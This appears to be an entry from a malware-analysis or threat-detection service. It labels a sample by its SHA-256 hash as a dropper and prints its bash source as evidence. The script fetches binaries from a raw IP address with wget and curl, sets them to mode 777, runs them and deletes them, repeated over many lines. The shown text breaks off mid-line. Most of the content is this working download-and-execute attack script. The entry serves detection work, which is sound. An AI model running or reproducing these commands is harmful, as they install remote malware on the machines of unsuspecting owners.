10fa6bca127459de07cb6aef4853f4936e5aafd49df7c495134aa4801986512e
Dropper downloads and executes raw IP payloads
Raw-IP wget world-writable fetch executeRepeated raw-IP payload download chmod execution
SHA-25610fa6bca127459de07cb6aef4853f4936e5aafd49df7c495134aa4801986512e
MaleculeO(C₃)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/b646e0; curl -O http://5.182.210.174/b646e0; chmod 777 b646e0; ./b646e0 bc; rm -rf b646e0; rm -rf b646e0.1
3wget http://5.182.210.174/c1f86d; curl -O http://5.182.210.174/c1f86d; chmod 777 c1f86d; ./c1f86d bc; rm -rf c1f86d; rm -rf c1f86d.1
4wget http://5.182.210.174/35d27a; curl -O http://5.182.210.174/35d27a; chmod 777 35d27a; ./35d27a bc; rm -rf 35d27a; rm -rf 35d27a.1
5wget http://5.182.210.174/fc264e; curl -O http://5.182.210.174/fc264e; chmod 777 fc264e; ./fc264e bc; rm -rf fc264e; rm -rf fc264e.1
6wget http://5.182.210.174/ece1eb; curl -O http://5.182.210.174/ece1eb; chmod 777 ece1eb; ./ece1eb bc; rm -rf ece1eb; rm -rf ece1eb.1
7wget http://5.182.210.174/eb0dd6; curl -O http://5.182.210.174/eb0dd6; chmod 777 eb0dd6; ./eb0dd6 bc; rm -rf eb0dd6; rm -rf eb0dd6.1
8wget http://5.182.210.174/f95e82; curl -O http://5.182.210.174/f95e82; chmod 777 f95e82; ./f95e82 bc; rm -rf f95e82; rm -rf f95e82.1
9wget http://5.182.210.174/dcf6e6; curl -O http://5.182.210.174/dcf6e6; chmod 777 dcf6e6; ./dcf6e6 bc; rm -rf dcf6e6; rm -rf dcf6e6.1
10wget http://5.182.210.174/3d923d; curl -O http://5.182.210.174/3d923d; chmod 777 3d923d; ./3d923d bc; rm -rf 3d923d; rm -rf 3d923d.1
11wget http://5.182.210.174/9dc6cf; curl -O http://5.182.210.174/9dc6cf; chmod 777 9dc6cf …